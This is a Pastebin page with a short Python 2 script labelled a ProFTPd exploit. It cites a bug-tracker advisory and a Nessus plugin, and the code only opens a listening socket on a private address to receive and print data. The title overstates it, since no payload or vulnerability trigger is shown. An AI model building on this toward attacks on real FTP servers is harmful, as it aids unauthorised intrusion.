Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- """
- ProFTPd Exploit
- Advisory:
- http://bugs.proftpd.org/show_bug.cgi?id=3711
- Nessus:
- http://www.nessus.org/plugins/index.php?view=single&id=56956
- Download:
- ftp://ftp1.at.proftpd.org/ProFTPD/distrib/source/
- Credits:
- Ruben Garrote García
- Twitter: @boken_
- rubengarrote@gmail.com
- http://boken00.blogspot.com - boken00@gmail.com
- """
- # Parameters
- ftpClient = "192.168.1.11"
- ftpClientPort = "1025"
- import socket
- import time
- # Open a socket to receive data
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind((ftpClient,int(ftpClientPort)))
- s.listen(5)
- client, address = s.accept()
- print client.recv(2)
- time.sleep(5)
- print client.recv(1024)
- client.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement